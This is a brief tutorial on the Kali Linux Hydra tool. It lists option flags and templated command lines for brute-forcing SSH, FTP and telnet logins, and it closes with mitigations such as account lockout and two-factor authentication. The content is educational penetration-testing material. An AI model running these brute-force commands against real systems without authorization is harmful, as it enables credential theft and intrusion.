Examples of Kali Linux Hydra Tool
Hydra is a pre-installed tool in Kali Linux used to brute-force usernames and passwords to different services such as FTP, ssh, telnet, MS SQL, etc. Brute force can be used to try different usernames and passwords against a target to identify the correct credentials. Below is the list of all protocols supported by hydra.
Check the usage of Hydra by using of below command:
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To brute-force ssh username and password
Create a username and password list to enumerate a target by using a hydra automation tool. You can access the wordlist in a directory by using the below command.
-l: input login
-L: list of username
-p: single password
-P: list of passwords
#hydra <Target_IP> ssh -l <username> -P <password_file> -s 22 -vV
#hydra <Target_IP> ssh -l <username> -p <password> -s 22 -vV
To brute-force FTP username and password
#hydra -L <username_file> -P <password_file> ftp://<Target_IP>
#hydra -l <username> -p <password> ftp://<Target_IP>
To brute-force telnet username and password
#hydra -l <username> -p <password> telnet://<Target_IP>
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Mitigation to avoid brute-force attacks of username and password
Implementing account lockout, captcha implementation, complex password, two-factor authentication, hardware-based token authentication, etc. are some of the techniques for avoiding brute-force attacks on the target.
This article covers Examples of the Kali Linux Hydra Tool. At the end of the article, we discussed some mitigation techniques to avoid brute-force attacks.
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Thanks for giving out info on hydra.